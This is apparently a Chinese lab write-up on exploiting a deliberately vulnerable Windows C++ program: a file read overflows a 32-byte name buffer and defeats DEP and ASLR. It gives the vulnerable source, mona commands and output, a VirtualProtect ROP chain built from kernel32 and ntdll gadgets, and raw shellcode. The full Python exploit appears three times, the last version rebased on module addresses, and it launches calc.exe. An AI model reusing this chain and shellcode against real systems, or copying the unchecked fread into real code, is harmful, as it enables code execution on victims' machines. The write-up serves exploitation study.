Exploitme4——ROP with ASLR

当程序开启了ASLR后,程序可能通过需要想办法泄露一些模块的基地址,来构建有效的payload。

下面我们要进行的实验,采取的思路是:泄露系统模块的基址 + 利用对应模块中的gadget构建Ropchain + shellcode。

参考资料:

环境准备

  • 关闭 /GS
  • 打开 ASLR
  • 打开 DEP

开始实验

漏洞程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <conio.h>
#include <stdio.h>
class Name {
char name[32];
int* ptr;
public:
Name() : ptr((int*)name) {}
char* getNameBuf() { return name; }

int readFromFile(const char* filePath) {
printf("Reading name from file...\n");

for (int i = 0; i < sizeof(name); ++i) // for有什么用呢?
name[i] = 0;

FILE* f = fopen(filePath, "rb");
if (!f)
return 0;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
fclose(f);
return 1;
}

virtual void printName() {
printf("Hi, %s!\n", name);
}

virtual void printNameInHex() {
for (int i = 0; i < sizeof(name) / 4; ++i)
printf(" 0x%08x", ptr[i]);
printf("]\n");
}
};

int old_main() {
Name name;

while (true) {
if (!name.readFromFile("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat"))
return -1;
name.printName();
name.printNameInHex();

printf("Do you want to read the name again? [y/n] ");
if (_getch() != 'y')
break;
printf("\n");
}
return 0;
}
#pragma optimize("", off)
int main() {
char moreStack[4096] = { 0 };
for (int i = 0; i < 4096; i++) {
moreStack[i] = 'A';
}
return old_main();
}

内存布局

name对象在栈中存储,其内存布局如下:

1
2
3
4
5
VTptr : 虚表指针
name[0..3]
...
name[28..31]
ptr

调试收集信息

预期执行流

1
ret_eip -> ropchain -> shellcode

查看各模块基址

1
2
3
4
Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | ModuleName
0x75c00000 | 0x75cf0000 | 0x000f0000 | True | False | True | True | True | True | [KERNEL32.DLL]
0x77450000 | 0x775f4000 | 0x001a4000 | True | False | True | True | True | True | [ntdll.dll]
...

确定偏移

1
!py mona pc 1000

在此之前,我们需要给 ptr 指定一个可读地址(比如kernel32的基址),不然当程序运行到 ptr[i] 时,就会报错退出,执行不到 ret eip。

1
2
3
4
5
6
import struct
with open("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "wb") as f:
kernel32 = 0x75c00000
pattern = b"..."
payload = b'a'*32 + struct.pack("<I", 0x75c00000) + pattern
f.write(payload)
1
2
3
4
5
6
7
8
9
0:000> !py mona po 61413161

** You are running pykd.pyd v0.3.4.15. Use at your own risk **

Hold on...
[+] Command used:
!py D:\Program Files (x86)\Windbg\x86\mona.py po 61413161
Looking for a1Aa in pattern of 500000 bytes
- Pattern a1Aa (0x61413161) found in cyclic pattern at position 4

得到偏移量为 8

构建RopChain

windbg,太慢啦,生成不出来结果

1
2
!py mona config -set workingfolder D:\Users\czx\NativeFiles\Desktop\blog\code\Exploitme4\mona-log
!py mona rop -m "kernel32, ntdll" -cp nonnull

immunity debugger,运行成功,虽然运行过程中会卡死

1
2
!mona config -set workingfolder D:\Users\czx\NativeFiles\Desktop\blog\code\Exploitme4\mona-log-imm
!mona rop -m "kernel32,ntdll" -cp nonnull // 注意不要在模块名间加空格

打开rop_chains.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import struct

kernel32 = 0x75c00000
ntdll = 0x77450000

def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x75c4770d, # POP EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x75c81390, # ptr to &VirtualProtect() [IAT KERNEL32.DLL] ** REBASED ** ASLR
0x77493c9e, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
0x75c6d43c, # PUSH EAX # MOV DWORD PTR DS:[ESI+54],ECX # POP ESI # RETN [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x774afe38, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
0x7746b318, # & push esp # ret [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebx:---]
0x774ceeb8, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000201, # 0x00000201-> ebx
#[---INFO:gadgets_to_set_edx:---]
0x774cb229, # POP EDX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000040, # 0x00000040-> edx
#[---INFO:gadgets_to_set_ecx:---]
0x774d8a1f, # POP ECX # RETN [ntdll.dll] ** REBASED ** ASLR
0x77573a1d, # &Writable location [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
0x774c9d25, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x75c49bea, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x75c1ea52, # POP EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x75c36095, # PUSHAD # RETN [KERNEL32.DLL] ** REBASED ** ASLR
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)


with open("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "wb") as f:
shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
b"\x30\x03\xc6\xeb\xdd")
rop_chain = create_rop_chain()
readable_ptr = struct.pack("<I", kernel32)
payload = b'a'*32 + struct.pack("<I", kernel32) + b'b'*4 + rop_chain + shellcode
f.write(payload)

对应的exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import struct

kernel32 = 0x75c00000
ntdll = 0x77450000

def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x75c4770d, # POP EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x75c81390, # ptr to &VirtualProtect() [IAT KERNEL32.DLL] ** REBASED ** ASLR
0x77493c9e, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
0x75c6d43c, # PUSH EAX # MOV DWORD PTR DS:[ESI+54],ECX # POP ESI # RETN [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x774afe38, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
0x7746b318, # & push esp # ret [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebx:---]
0x774ceeb8, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000201, # 0x00000201-> ebx
#[---INFO:gadgets_to_set_edx:---]
0x774cb229, # POP EDX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000040, # 0x00000040-> edx
#[---INFO:gadgets_to_set_ecx:---]
0x774d8a1f, # POP ECX # RETN [ntdll.dll] ** REBASED ** ASLR
0x77573a1d, # &Writable location [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
0x774c9d25, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x75c49bea, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x75c1ea52, # POP EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x75c36095, # PUSHAD # RETN [KERNEL32.DLL] ** REBASED ** ASLR
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

with open("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "wb") as f:
shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
b"\x30\x03\xc6\xeb\xdd")
rop_chain = create_rop_chain()
readable_ptr = struct.pack("<I", kernel32)
payload = b'a'*32 + struct.pack("<I", kernel32) + b'b'*4 + rop_chain + shellcode
f.write(payload)

执行后运行程序,成功弹出计算器。

重启操作系统后,无法再弹出计算器。

完善exp

ret_eip -> ropchain -> shellcode

将上述绝对地址,替换为各自的【模块基址】+【偏移量】,并通过一定方式(比如手动)更新模块基址,就能够让exp保持有效

其中模块基址为:

1
2
kernel32.dll:	0x75c00000
ntdll.dll : 0x77450000

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import struct

kernel32 = 0x75c00000
ntdll = 0x77450000

def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
kernel32 + 0x0004770d, # POP EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
kernel32 + 0x00081390, # ptr to &VirtualProtect() [IAT KERNEL32.DLL] ** REBASED ** ASLR
ntdll + 0x00043c9e, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
kernel32 + 0x0006d43c, # PUSH EAX # MOV DWORD PTR DS:[ESI+54],ECX # POP ESI # RETN [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
ntdll + 0x0005fe38, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
ntdll + 0x0001b318, # & push esp # ret [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebx:---]
ntdll + 0x0007eeb8, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000201, # 0x00000201-> ebx
#[---INFO:gadgets_to_set_edx:---]
ntdll + 0x0007b229, # POP EDX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000040, # 0x00000040-> edx
#[---INFO:gadgets_to_set_ecx:---]
ntdll + 0x00088a1f, # POP ECX # RETN [ntdll.dll] ** REBASED ** ASLR
ntdll + 0x00123a1d, # &Writable location [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
ntdll + 0x00079d25, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
kernel32 + 0x00049bea, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
kernel32 + 0x0001ea52, # POP EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
kernel32 + 0x00036095, # PUSHAD # RETN [KERNEL32.DLL] ** REBASED ** ASLR
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)


with open("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "wb") as f:
shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
b"\x30\x03\xc6\xeb\xdd")
rop_chain = create_rop_chain()
readable_ptr = struct.pack("<I", kernel32)
payload = b'a'*32 + struct.pack("<I", kernel32) + b'b'*4 + rop_chain + shellcode
f.write(payload)

运行后,成功弹出计算器。系统重启后,只需更新两个系统模块的基址,就能再次弹出计算器。

自动化获取模块基址

上面的exp中,需要我们手动指定两个系统模块的加载基值,比较麻烦。下面我们尝试自动化地获取它们。

【TODO!]